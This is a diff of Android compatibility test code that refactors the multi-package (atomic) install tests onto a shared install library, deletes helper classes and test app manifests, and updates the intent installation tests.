+        <option name="run-command" value="pm uninstall com.android.cts.install.lib.testapp.B" />
+        <option name="teardown-command" value="pm uninstall com.android.cts.install.lib.testapp.A" />
+        <option name="teardown-command" value="pm uninstall com.android.cts.install.lib.testapp.B" />
     </target_preparer>
 
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
diff --git a/tests/tests/packageinstaller/atomicinstall/OWNERS b/tests/tests/packageinstaller/atomicinstall/OWNERS
new file mode 100644
index 0000000..25775b8
--- /dev/null
+++ b/tests/tests/packageinstaller/atomicinstall/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 36137
+include /hostsidetests/stagedinstall/OWNERS
diff --git a/tests/tests/packageinstaller/atomicinstall/src/com/android/tests/atomicinstall/AtomicInstallTest.java b/tests/tests/packageinstaller/atomicinstall/src/com/android/tests/atomicinstall/AtomicInstallTest.java
index f99ac2f..8c1623d 100644
--- a/tests/tests/packageinstaller/atomicinstall/src/com/android/tests/atomicinstall/AtomicInstallTest.java
+++ b/tests/tests/packageinstaller/atomicinstall/src/com/android/tests/atomicinstall/AtomicInstallTest.java
@@ -16,41 +16,40 @@
 
 package com.android.tests.atomicinstall;
 
+import static com.android.cts.install.lib.InstallUtils.assertStatusSuccess;
+import static com.android.cts.install.lib.InstallUtils.getInstalledVersion;
+import static com.android.cts.install.lib.InstallUtils.openPackageInstallerSession;
+
 import static com.google.common.truth.Truth.assertThat;
 
 import static org.junit.Assert.fail;
 
 import android.Manifest;
-import android.content.Context;
-import android.content.Intent;
-import android.content.pm.PackageInfo;
 import android.content.pm.PackageInstaller;
-import android.content.pm.PackageManager;
 
 import androidx.test.InstrumentationRegistry;
 
+import com.android.cts.install.lib.Install;
+import com.android.cts.install.lib.InstallUtils;
+import com.android.cts.install.lib.LocalIntentSender;
+import com.android.cts.install.lib.TestApp;
+import com.android.cts.install.lib.Uninstall;
+
 import org.junit.After;
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 import org.junit.runners.JUnit4;
 
-import java.io.InputStream;
-import java.io.OutputStream;
-import java.util.ArrayList;
-
 /**
  * Tests for multi-package (a.k.a. atomic) installs.
  */
 @RunWith(JUnit4.class)
 public class AtomicInstallTest {
 
-    private static final String TEST_APP_A = "com.android.tests.atomicinstall.testapp.A";
-    private static final String TEST_APP_B = "com.android.tests.atomicinstall.testapp.B";
-    public static final String TEST_APP_A_FILENAME = "AtomicInstallTestAppAv1.apk";
-    public static final String TEST_APP_A_V2_FILENAME = "AtomicInstallTestAppAv2.apk";
-    public static final String TEST_APP_B_FILENAME = "AtomicInstallTestAppBv1.apk";
     public static final String TEST_APP_CORRUPT_FILENAME = "corrupt.apk";
+    private static final TestApp CORRUPT_TESTAPP = new TestApp(
+            "corrupt", "com.corrupt", 1, false, TEST_APP_CORRUPT_FILENAME);
 
     private void adoptShellPermissions() {
         InstrumentationRegistry
@@ -64,8 +63,7 @@
     public void setup() throws Exception {
         adoptShellPermissions();
 
-        uninstall(TEST_APP_A);
-        uninstall(TEST_APP_B);
+        Uninstall.packages(TestApp.A, TestApp.B);
     }
 
     @After
@@ -78,306 +76,116 @@
 
     @Test
     public void testInstallTwoApks() throws Exception {
-        installMultiPackage(TEST_APP_A_FILENAME, TEST_APP_B_FILENAME);
-        assertThat(getInstalledVersion(TEST_APP_A)).isEqualTo(1);
-        assertThat(getInstalledVersion(TEST_APP_B)).isEqualTo(1);
+        Install.multi(TestApp.A1, TestApp.B1).commit();
+        assertThat(getInstalledVersion(TestApp.A)).isEqualTo(1);
+        assertThat(getInstalledVersion(TestApp.B)).isEqualTo(1);
     }
 
     @Test
     public void testInstallTwoApksDowngradeFail() throws Exception {
-        installMultiPackage(TEST_APP_A_V2_FILENAME, TEST_APP_B_FILENAME);
-        assertThat(getInstalledVersion(TEST_APP_A)).isEqualTo(2);
-        assertThat(getInstalledVersion(TEST_APP_B)).isEqualTo(1);
+        Install.multi(TestApp.A2, TestApp.B1).commit();
+        assertThat(getInstalledVersion(TestApp.A)).isEqualTo(2);
+        assertThat(getInstalledVersion(TestApp.B)).isEqualTo(1);
 
-        final PackageInstaller.SessionParams parentSessionParams =
-                createSessionParams(/*staged*/false, /*multipackage*/true,
-                        /*enableRollback*/ false, /*inherit*/false);
-        final int parentSessionId = createSessionId(/*apkFileName*/null, parentSessionParams);
-        final PackageInstaller.Session parentSession = getSessionOrFail(parentSessionId);
-        for (String apkFile : new String[]{
-                TEST_APP_A_FILENAME, TEST_APP_B_FILENAME}) {
-            final PackageInstaller.SessionParams childSessionParams =
-                    createSessionParams(/*staged*/false, /*multipackage*/false,
-                            /*enableRollback*/ false, /*inherit*/false);
-            final int childSessionId =
-                    createSessionId(apkFile, childSessionParams);
-            parentSession.addChildSessionId(childSessionId);
-        }
-        parentSession.commit(LocalIntentSender.getIntentSender());
-
-        final Intent intent = LocalIntentSender.getIntentSenderResult();
-        assertStatusFailure(intent, "INSTALL_FAILED_VERSION_DOWNGRADE");
-        assertThat(getInstalledVersion(TEST_APP_A)).isEqualTo(2);
-        assertThat(getInstalledVersion(TEST_APP_B)).isEqualTo(1);
+        InstallUtils.commitExpectingFailure(AssertionError.class,
+                "INSTALL_FAILED_VERSION_DOWNGRADE", Install.multi(TestApp.A1, TestApp.B1));
+        assertThat(getInstalledVersion(TestApp.A)).isEqualTo(2);
+        assertThat(getInstalledVersion(TestApp.B)).isEqualTo(1);
     }
 
     @Test
     public void testFailInconsistentMultiPackageCommit() throws Exception {
         // Test inconsistency in staged settings
-        for (boolean staged : new boolean[]{false, true}) {
-            final PackageInstaller.SessionParams parentSessionParams =
-                    createSessionParams(/*staged*/staged, /*multipackage*/true,
-                            /*enableRollback*/false, /*inherit*/false);
-            final int parentSessionId =
-                    createSessionId(/*apkFileName*/null, parentSessionParams);
-            // Create a child session that differs in the staged parameter
-            final PackageInstaller.SessionParams childSessionParams =
-                    createSessionParams(/*staged*/!staged, /*multipackage*/false,
-                            /*enableRollback*/false, /*inherit*/false);
-            final int childSessionId =
-                    createSessionId("AtomicInstallTestAppAv1.apk", childSessionParams);
+        Install parentStaged = Install.multi(Install.single(TestApp.A1)).setStaged();
+        Install childStaged = Install.multi(Install.single(TestApp.A1).setStaged());
 
-            final PackageInstaller.Session parentSession = getSessionOrFail(parentSessionId);
-            parentSession.addChildSessionId(childSessionId);
-            parentSession.commit(LocalIntentSender.getIntentSender());
-            assertStatusFailure(LocalIntentSender.getIntentSenderResult(),
-                    "inconsistent staged settings");
-            assertThat(getInstalledVersion(TEST_APP_A)).isEqualTo(-1);
-        }
+        assertInconsistentStagedSettings(parentStaged);
+        assertThat(getInstalledVersion(TestApp.A)).isEqualTo(-1);
+        assertInconsistentStagedSettings(childStaged);
+        assertThat(getInstalledVersion(TestApp.A)).isEqualTo(-1);
 
         // Test inconsistency in rollback settings
-        for (boolean enableRollback : new boolean[]{false, true}) {
-            final PackageInstaller.SessionParams parentSessionParams =
-                    createSessionParams(/*staged*/false, /*multipackage*/true,
-                            /*enableRollback*/enableRollback, /*inherit*/false);
-            final int parentSessionId =
-                    createSessionId(/*apkFileName*/null, parentSessionParams);
-            // Create a child session that differs in the staged parameter
-            final PackageInstaller.SessionParams childSessionParams =
-                    createSessionParams(/*staged*/false, /*multipackage*/false,
-                            /*enableRollback*/!enableRollback, /*inherit*/false);
-            final int childSessionId =
-                    createSessionId("AtomicInstallTestAppAv1.apk", childSessionParams);
+        Install parentEnabledRollback = Install.multi(Install.single(TestApp.A1))
+                .setEnableRollback();
+        Install childEnabledRollback = Install.multi(
+                Install.single(TestApp.A1).setEnableRollback());
 
-            final PackageInstaller.Session parentSession = getSessionOrFail(parentSessionId);
-            parentSession.addChildSessionId(childSessionId);
-            parentSession.commit(LocalIntentSender.getIntentSender());
-            assertStatusFailure(LocalIntentSender.getIntentSenderResult(),
-                    "inconsistent rollback settings");
-            assertThat(getInstalledVersion(TEST_APP_A)).isEqualTo(-1);
-        }
+        assertInconsistentRollbackSettings(parentEnabledRollback);
+        assertThat(getInstalledVersion(TestApp.A)).isEqualTo(-1);
+        assertInconsistentRollbackSettings(childEnabledRollback);
+        assertThat(getInstalledVersion(TestApp.A)).isEqualTo(-1);
     }
 
     @Test
     public void testChildFailurePropagated() throws Exception {
-        final PackageInstaller.SessionParams parentSessionParams =
-                createSessionParams(/*staged*/false, /*multipackage*/true,
-                        /*enableRollback*/ false, /*inherit*/false);
-        final int parentSessionId =
-                createSessionId(/*apkFileName*/null, parentSessionParams);
-        final PackageInstaller.Session parentSession = getSessionOrFail(parentSessionId);
-
         // Create a child session that "inherits" from a non-existent package. This
         // causes the session commit to fail with a PackageManagerException.
-        final PackageInstaller.SessionParams childSessionParams =
-                createSessionParams(/*staged*/false, /*multipackage*/false,
-                        /*enableRollback*/ false, /*inherit*/true);
-        final int childSessionId =
-                createSessionId("AtomicInstallTestAppAv1.apk", childSessionParams);
-        parentSession.addChildSessionId(childSessionId);
-        parentSession.commit(LocalIntentSender.getIntentSender());
+        Install childInstall = Install.single(TestApp.A1).setSessionMode(
+                PackageInstaller.SessionParams.MODE_INHERIT_EXISTING);
+        Install parentInstall = Install.multi(childInstall);
 
-        final Intent intent = LocalIntentSender.getIntentSenderResult();
-        assertStatusFailure(intent, "Missing existing base package");
-        assertThat(getInstalledVersion(TEST_APP_A)).isEqualTo(-1);
+        InstallUtils.commitExpectingFailure(AssertionError.class, "Missing existing base package",
+                parentInstall);
+
+        assertThat(getInstalledVersion(TestApp.A)).isEqualTo(-1);
     }
 
     @Test
     public void testEarlyFailureFailsAll() throws Exception {
-        final PackageInstaller.SessionParams parentSessionParams =
-                createSessionParams(/*staged*/false, /*multipackage*/true,
-                        /*enableRollback*/ false, /*inherit*/false);
-        final int parentSessionId = createSessionId(/*apkFileName*/null, parentSessionParams);
-        final PackageInstaller.Session parentSession = getSessionOrFail(parentSessionId);
-        for (String apkFile : new String[]{
-                TEST_APP_A_FILENAME, TEST_APP_B_FILENAME, TEST_APP_CORRUPT_FILENAME}) {
-            final PackageInstaller.SessionParams childSessionParams =
-                    createSessionParams(/*staged*/false, /*multipackage*/false,
-                            /*enableRollback*/ false, /*inherit*/false);
-            final int childSessionId =
-                    createSessionId(apkFile, childSessionParams);
-            parentSession.addChildSessionId(childSessionId);
-        }
-        parentSession.commit(LocalIntentSender.getIntentSender());
-
-        final Intent intent = LocalIntentSender.getIntentSenderResult();
-        assertStatusFailure(intent, "Failed to parse");
-        assertThat(getInstalledVersion(TEST_APP_A)).isEqualTo(-1);
-        assertThat(getInstalledVersion(TEST_APP_B)).isEqualTo(-1);
+        InstallUtils.commitExpectingFailure(AssertionError.class, "Failed to parse",
+                Install.multi(TestApp.A1, TestApp.B1, CORRUPT_TESTAPP));
+        assertThat(getInstalledVersion(TestApp.A)).isEqualTo(-1);
+        assertThat(getInstalledVersion(TestApp.B)).isEqualTo(-1);
     }
 
     @Test
     public void testInvalidStateScenarios() throws Exception {
-        final PackageInstaller.SessionParams parentSessionParams =
-                createSessionParams(/*staged*/false, /*multipackage*/true,
-                        /*enableRollback*/false, /*inherit*/ false);
-        final int parentSessionId = createSessionId(/*apkFileName*/null, parentSessionParams);
-        final PackageInstaller.Session parentSession = getSessionOrFail(parentSessionId);
-
-        final PackageInstaller.SessionParams childSessionParams =
-                createSessionParams(/*staged*/false, /*multipackage*/false,
-                        /*enableRollback*/false, /*inherit*/ false);
-        for (String apkFileName : new String[]{TEST_APP_A_FILENAME, TEST_APP_B_FILENAME}) {
-            final int childSessionId = createSessionId(apkFileName, childSessionParams);
-            parentSession.addChildSessionId(childSessionId);
-            PackageInstaller.Session childSession = getSessionOrFail(childSessionId);
-            try {
-                childSession.commit(LocalIntentSender.getIntentSender());
-                fail("Should not be able to commit a child session!");
-            } catch (IllegalStateException e) {
-                // ignore
+        int parentSessionId = Install.multi(TestApp.A1, TestApp.B1).createSession();
+        try (PackageInstaller.Session parentSession =
+                     openPackageInstallerSession(parentSessionId)) {
+            for (int childSessionId : parentSession.getChildSessionIds()) {
+                try (PackageInstaller.Session childSession =
+                             openPackageInstallerSession(childSessionId)) {
+                    try {
+                        childSession.commit(LocalIntentSender.getIntentSender());
+                        fail("Should not be able to commit a child session!");
+                    } catch (IllegalStateException e) {
+                        // ignore
+                    }
+                    try {
+                        childSession.abandon();
+                        fail("Should not be able to abandon a child session!");
+                    } catch (IllegalStateException e) {
+                        // ignore
+                    }
+                }
             }
-            try {
-                childSession.abandon();
-                fail("Should not be able to abandon a child session!");
-            } catch (IllegalStateException e) {
-                // ignore
+            int toAbandonSessionId = Install.single(TestApp.A1).createSession();
+            try (PackageInstaller.Session toAbandonSession =
+                         openPackageInstallerSession(toAbandonSessionId)) {
+                toAbandonSession.abandon();
+                try {
+                    parentSession.addChildSessionId(toAbandonSessionId);
+                    fail("Should not be able to add abandoned child session!");
+                } catch (RuntimeException e) {
+                    // ignore
+                }
             }
-        }
-        int toAbandonSessionId = createSessionId(TEST_APP_A_FILENAME, childSessionParams);
-        PackageInstaller.Session toAbandonSession = getSessionOrFail(toAbandonSessionId);
-        toAbandonSession.abandon();
-        try {
-            parentSession.addChildSessionId(toAbandonSessionId);
-            fail("Should not be able to add abandoned child session!");
-        } catch (RuntimeException e) {
-            // ignore
-        }
 
-        // Commit the session (this will start the installation workflow).
-        parentSession.commit(LocalIntentSender.getIntentSender());
-        assertStatusSuccess(LocalIntentSender.getIntentSenderResult());
-    }
-
-    private static long getInstalledVersion(String packageName) {
-        Context context = InstrumentationRegistry.getContext();
-        PackageManager pm = context.getPackageManager();
-        try {
-            PackageInfo info = pm.getPackageInfo(packageName, 0);
-            return info.getLongVersionCode();
-        } catch (PackageManager.NameNotFoundException e) {
-            return -1;
+            parentSession.commit(LocalIntentSender.getIntentSender());
+            assertStatusSuccess(LocalIntentSender.getIntentSenderResult());
         }
     }
 
-    private static void installMultiPackage(String... resources) throws Exception {
-        final PackageInstaller.SessionParams parentSessionParams =
-                createSessionParams(/*staged*/false, /*multipackage*/true,
-                        /*enableRollback*/false, /*inherit*/ false);
-        final int parentSessionId = createSessionId(/*apkFileName*/null, parentSessionParams);
-        final PackageInstaller.Session parentSession = getSessionOrFail(parentSessionId);
-
-        ArrayList<Integer> childSessionIds = new ArrayList<>(resources.length);
-        for (String apkFileName : resources) {
-            final PackageInstaller.SessionParams childSessionParams =
-                    createSessionParams(/*staged*/false, /*multipackage*/false,
-                            /*enableRollback*/false, /*inherit*/ false);
-            final int childSessionId = createSessionId(apkFileName, childSessionParams);
-            childSessionIds.add(childSessionId);
-            parentSession.addChildSessionId(childSessionId);
-
-            PackageInstaller.Session childSession = getSessionOrFail(childSessionId);
-            assertThat(childSession.getParentSessionId()).isEqualTo(parentSessionId);
-            assertThat(getSessionInfoOrFail(childSessionId).getParentSessionId())
-                    .isEqualTo(parentSessionId);
-        }
-        assertThat(parentSession.getChildSessionIds()).asList().containsAllIn(childSessionIds);
-        assertThat(getSessionInfoOrFail(parentSessionId).getChildSessionIds()).asList()
-                .containsAllIn(childSessionIds);
-
-        // Commit the session (this will start the installation workflow).
-        parentSession.commit(LocalIntentSender.getIntentSender());
-        assertStatusSuccess(LocalIntentSender.getIntentSenderResult());
+    private static void assertInconsistentStagedSettings(Install install) {
+        assertInconsistentSettings("inconsistent staged settings", install);
     }
 
-    private static PackageInstaller.SessionParams createSessionParams(
-            boolean staged, boolean multiPackage, boolean enableRollback, boolean inherit) {
-        final int sessionMode = inherit
-                ? PackageInstaller.SessionParams.MODE_INHERIT_EXISTING
-                : PackageInstaller.SessionParams.MODE_FULL_INSTALL;
-        final PackageInstaller.SessionParams params =
-                new PackageInstaller.SessionParams(sessionMode);
-        if (staged) {
-            params.setStaged();
-        }
-        if (multiPackage) {
-            params.setMultiPackage();
-        }
-        params.setEnableRollback(enableRollback);
-        return params;
+    private static void assertInconsistentRollbackSettings(Install install) {
+        assertInconsistentSettings("inconsistent rollback settings", install);
     }
 
-    private static int createSessionId(String apkFileName, PackageInstaller.SessionParams params)
-            throws Exception {
-        final PackageInstaller packageInstaller = InstrumentationRegistry.getContext()
-                .getPackageManager().getPackageInstaller();
-        final int sessionId = packageInstaller.createSession(params);
-        if (apkFileName == null) {
-            return sessionId;
-        }
-        final PackageInstaller.Session session = packageInstaller.openSession(sessionId);
-        try (OutputStream packageInSession = session.openWrite(apkFileName, 0, -1);
-            final InputStream is =
-                AtomicInstallTest.class.getClassLoader().getResourceAsStream(
-                    apkFileName)) {
-            final byte[] buffer = new byte[4096];
-            int n;
-            while ((n = is.read(buffer)) >= 0) {
-                packageInSession.write(buffer, 0, n);
-            }
-        }
-        return sessionId;
-    }
-
-    private static PackageInstaller.Session getSessionOrFail(int sessionId) throws Exception {
-        final PackageInstaller packageInstaller = InstrumentationRegistry.getContext()
-                .getPackageManager().getPackageInstaller();
-        return packageInstaller.openSession(sessionId);
-    }
-
-    private static PackageInstaller.SessionInfo getSessionInfoOrFail(int sessionId)
-            throws Exception {
-        final PackageInstaller packageInstaller = InstrumentationRegistry.getContext()
-                .getPackageManager().getPackageInstaller();
-        return packageInstaller.getSessionInfo(sessionId);
-    }
-
-    private static void assertStatusSuccess(Intent result) {
-        final int status = result.getIntExtra(PackageInstaller.EXTRA_STATUS,
-                PackageInstaller.STATUS_FAILURE);
-        if (status == -1) {
-            throw new AssertionError("PENDING USER ACTION");
-        } else if (status > 0) {
-            String message = result.getStringExtra(PackageInstaller.EXTRA_STATUS_MESSAGE);
-            throw new AssertionError(message == null ? "UNKNOWN FAILURE" : message);
-        }
-    }
-
-    private static void assertStatusFailure(Intent result, String errorMessage) {
-        final int status = result.getIntExtra(PackageInstaller.EXTRA_STATUS,
-            PackageInstaller.STATUS_FAILURE);
-        if (status == -1) {
-            throw new AssertionError("PENDING USER ACTION");
-        } else if (status == 0) {
-            throw new AssertionError("Installation unexpectedly succeeded!");
-        }
-        final String message = result.getStringExtra(PackageInstaller.EXTRA_STATUS_MESSAGE);
-        if (message == null || !message.contains(errorMessage)) {
-            throw new AssertionError("Unexpected failure:" +
-                    (message == null ? "UNKNOWN" : message));
-        }
-    }
-
-    private static void uninstall(String packageName) throws Exception {
-        // No need to uninstall if the package isn't installed.
-        if (getInstalledVersion(packageName) == -1) {
-            return;
-        }
-
-        final PackageInstaller packageInstaller = InstrumentationRegistry.getContext()
-                .getPackageManager().getPackageInstaller();
-        packageInstaller.uninstall(packageName, LocalIntentSender.getIntentSender());
-        // Don't care about status; this is just cleanup
-        LocalIntentSender.getIntentSenderResult();
+    private static void assertInconsistentSettings(String failMessage, Install install) {
+        InstallUtils.commitExpectingFailure(AssertionError.class, failMessage, install);
     }
 }
diff --git a/tests/tests/packageinstaller/atomicinstall/src/com/android/tests/atomicinstall/LocalIntentSender.java b/tests/tests/packageinstaller/atomicinstall/src/com/android/tests/atomicinstall/LocalIntentSender.java
deleted file mode 100644
index e015cd8..0000000
--- a/tests/tests/packageinstaller/atomicinstall/src/com/android/tests/atomicinstall/LocalIntentSender.java
+++ /dev/null
@@ -1,55 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.tests.atomicinstall;
-
-import android.app.PendingIntent;
-import android.content.BroadcastReceiver;
-import android.content.Context;
-import android.content.Intent;
-import android.content.IntentSender;
-
-import androidx.test.InstrumentationRegistry;
-
-import java.util.concurrent.BlockingQueue;
-import java.util.concurrent.LinkedBlockingQueue;
-import java.util.concurrent.TimeUnit;
-
-public class LocalIntentSender extends BroadcastReceiver {
-    private static final BlockingQueue<Intent> sIntentSenderResults = new LinkedBlockingQueue<>();
-
-    @Override
-    public void onReceive(Context context, Intent intent) {
-        sIntentSenderResults.add(intent);
-    }
-
-    /**
-     * Get a LocalIntentSender.
-     */
-    static IntentSender getIntentSender() {
-        Context context = InstrumentationRegistry.getContext();
-        Intent intent = new Intent(context, LocalIntentSender.class);
-        PendingIntent pending = PendingIntent.getBroadcast(context, 0, intent, 0);
-        return pending.getIntentSender();
-    }
-
-    /**
-     * Returns the most recent Intent sent by a LocalIntentSender.
-     */
-    static Intent getIntentSenderResult() throws InterruptedException {
-        return sIntentSenderResults.poll(5, TimeUnit.SECONDS);
-    }
-}
diff --git a/tests/tests/packageinstaller/atomicinstall/testdata/apk/Av1.xml b/tests/tests/packageinstaller/atomicinstall/testdata/apk/Av1.xml
deleted file mode 100644
index e3c8c28..0000000
--- a/tests/tests/packageinstaller/atomicinstall/testdata/apk/Av1.xml
+++ /dev/null
@@ -1,31 +0,0 @@
-<!--
-  ~ Copyright (C) 2019 The Android Open Source Project
-  ~
-  ~ Licensed under the Apache License, Version 2.0 (the "License");
-  ~ you may not use this file except in compliance with the License.
-  ~ You may obtain a copy of the License at
-  ~
-  ~      http://www.apache.org/licenses/LICENSE-2.0
-  ~
-  ~ Unless required by applicable law or agreed to in writing, software
-  ~ distributed under the License is distributed on an "AS IS" BASIS,
-  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-  ~ See the License for the specific language governing permissions and
-  ~ limitations under the License
-  -->
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="com.android.tests.atomicinstall.testapp.A"
-          android:versionCode="1"
-          android:versionName="1.0" >
-
-    <uses-sdk android:minSdkVersion="19" />
-
-    <application android:label="AtomicInstall Test App A v1">
-        <activity android:name="com.android.tests.atomicinstall.testapp.MainActivity">
-            <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
-            </intent-filter>
-        </activity>
-    </application>
-</manifest>
diff --git a/tests/tests/packageinstaller/atomicinstall/testdata/apk/Av2.xml b/tests/tests/packageinstaller/atomicinstall/testdata/apk/Av2.xml
deleted file mode 100644
index 34472a0..0000000
--- a/tests/tests/packageinstaller/atomicinstall/testdata/apk/Av2.xml
+++ /dev/null
@@ -1,31 +0,0 @@
-<!--
-  ~ Copyright (C) 2019 The Android Open Source Project
-  ~
-  ~ Licensed under the Apache License, Version 2.0 (the "License");
-  ~ you may not use this file except in compliance with the License.
-  ~ You may obtain a copy of the License at
-  ~
-  ~      http://www.apache.org/licenses/LICENSE-2.0
-  ~
-  ~ Unless required by applicable law or agreed to in writing, software
-  ~ distributed under the License is distributed on an "AS IS" BASIS,
-  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-  ~ See the License for the specific language governing permissions and
-  ~ limitations under the License
-  -->
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="com.android.tests.atomicinstall.testapp.A"
-          android:versionCode="2"
-          android:versionName="2.0" >
-
-    <uses-sdk android:minSdkVersion="19" />
-
-    <application android:label="AtomicInstall Test App A v2">
-        <activity android:name="com.android.tests.atomicinstall.testapp.MainActivity">
-            <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
-            </intent-filter>
-        </activity>
-    </application>
-</manifest>
diff --git a/tests/tests/packageinstaller/atomicinstall/testdata/apk/Bv1.xml b/tests/tests/packageinstaller/atomicinstall/testdata/apk/Bv1.xml
deleted file mode 100644
index dd5db42..0000000
--- a/tests/tests/packageinstaller/atomicinstall/testdata/apk/Bv1.xml
+++ /dev/null
@@ -1,31 +0,0 @@
-<!--
-  ~ Copyright (C) 2019 The Android Open Source Project
-  ~
-  ~ Licensed under the Apache License, Version 2.0 (the "License");
-  ~ you may not use this file except in compliance with the License.
-  ~ You may obtain a copy of the License at
-  ~
-  ~      http://www.apache.org/licenses/LICENSE-2.0
-  ~
-  ~ Unless required by applicable law or agreed to in writing, software
-  ~ distributed under the License is distributed on an "AS IS" BASIS,
-  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-  ~ See the License for the specific language governing permissions and
-  ~ limitations under the License
-  -->
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="com.android.tests.atomicinstall.testapp.B"
-          android:versionCode="1"
-          android:versionName="1.0" >
-
-    <uses-sdk android:minSdkVersion="19" />
-
-    <application android:label="AtomicInstall Test App B v1">
-        <activity android:name="com.android.tests.atomicinstall.testapp.MainActivity">
-            <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
-            </intent-filter>
-        </activity>
-    </application>
-</manifest>
diff --git a/tests/tests/packageinstaller/atomicinstall/testdata/apk/src/com/android/tests/atomicinstall/testapp/MainActivity.java b/tests/tests/packageinstaller/atomicinstall/testdata/apk/src/com/android/tests/atomicinstall/testapp/MainActivity.java
deleted file mode 100644
index 37276e2..0000000
--- a/tests/tests/packageinstaller/atomicinstall/testdata/apk/src/com/android/tests/atomicinstall/testapp/MainActivity.java
+++ /dev/null
@@ -1,28 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.tests.atomicinstall.testapp;
-
-import android.app.Activity;
-import android.os.Bundle;
-
-public class MainActivity extends Activity {
-
-    @Override
-    public void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-    }
-}
diff --git a/tests/tests/packageinstaller/install/AndroidManifest.xml b/tests/tests/packageinstaller/install/AndroidManifest.xml
index 7d2e984..eeef252 100644
--- a/tests/tests/packageinstaller/install/AndroidManifest.xml
+++ b/tests/tests/packageinstaller/install/AndroidManifest.xml
@@ -22,7 +22,7 @@
     <application android:label="Cts Package Installer Tests">
         <uses-library android:name="android.test.runner" />
 
-        <activity android:name=".InstallConfirmDialogStarter" />
+        <activity android:name="com.android.compatibility.common.util.FutureResultActivity" />
 
         <provider android:authorities="android.packageinstaller.install.cts.fileprovider"
                   android:name="androidx.core.content.FileProvider"
diff --git a/tests/tests/packageinstaller/install/src/android/packageinstaller/install/cts/InstallConfirmDialogStarter.kt b/tests/tests/packageinstaller/install/src/android/packageinstaller/install/cts/InstallConfirmDialogStarter.kt
deleted file mode 100644
index b026943..0000000
--- a/tests/tests/packageinstaller/install/src/android/packageinstaller/install/cts/InstallConfirmDialogStarter.kt
+++ /dev/null
@@ -1,36 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.packageinstaller.install.cts
-
-import android.app.Activity
-import android.content.Intent
-import android.os.Bundle
-import java.util.concurrent.LinkedBlockingQueue
-
-val installDialogResults = LinkedBlockingQueue<Int>()
-
-class InstallConfirmDialogStarter : Activity() {
-    override fun onCreate(savedInstanceState: Bundle?) {
-        super.onCreate(savedInstanceState)
-
-        savedInstanceState ?: installDialogResults.clear()
-    }
-
-    override fun onActivityResult(requestCode: Int, resultCode: Int, data: Intent?) {
-        installDialogResults.offer(resultCode)
-    }
-}
diff --git a/tests/tests/packageinstaller/install/src/android/packageinstaller/install/cts/IntentTest.kt b/tests/tests/packageinstaller/install/src/android/packageinstaller/install/cts/IntentTest.kt
index e163a32..a8a8917 100644
--- a/tests/tests/packageinstaller/install/src/android/packageinstaller/install/cts/IntentTest.kt
+++ b/tests/tests/packageinstaller/install/src/android/packageinstaller/install/cts/IntentTest.kt
@@ -28,6 +28,7 @@
 import org.junit.Before
 import org.junit.Test
 import org.junit.runner.RunWith
+import java.util.concurrent.TimeUnit
 
 private const val INSTALL_BUTTON_ID = "button1"
 private const val CANCEL_BUTTON_ID = "button2"
@@ -47,11 +48,11 @@
      */
     @Test
     fun confirmInstallation() {
-        startInstallationViaIntent()
+        val installation = startInstallationViaIntent()
         clickInstallerUIButton(INSTALL_BUTTON_ID)
 
         // Install should have succeeded
-        assertEquals(RESULT_OK, getInstallDialogResult())
+        assertEquals(RESULT_OK, installation.get(TIMEOUT, TimeUnit.MILLISECONDS))
         assertInstalled()
     }
 
@@ -61,14 +62,12 @@
      */
     @Test
     fun cancelInstallation() {
-        startInstallationViaIntent()
+        val installation = startInstallationViaIntent()
         clickInstallerUIButton(CANCEL_BUTTON_ID)
 
         // Install should have been aborted
-        assertEquals(RESULT_CANCELED, getInstallDialogResult())
+        assertEquals(RESULT_CANCELED, installation.get(TIMEOUT, TimeUnit.MILLISECONDS))
         assertNotInstalled()
-
-        assertNoMoreInstallResults()
     }
 
     /**
@@ -85,12 +84,12 @@
         intent.putExtra(Intent.EXTRA_RETURN_RESULT, true)
         intent.flags = Intent.FLAG_GRANT_READ_URI_PERMISSION
 
-        installDialogStarter.activity.startActivityForResult(intent, 0)
+        val reinstall = installDialogStarter.activity.startActivityForResult(intent)
 
         clickInstallerUIButton(INSTALL_BUTTON_ID)
 
         // Install should have succeeded
-        assertEquals(RESULT_OK, getInstallDialogResult())
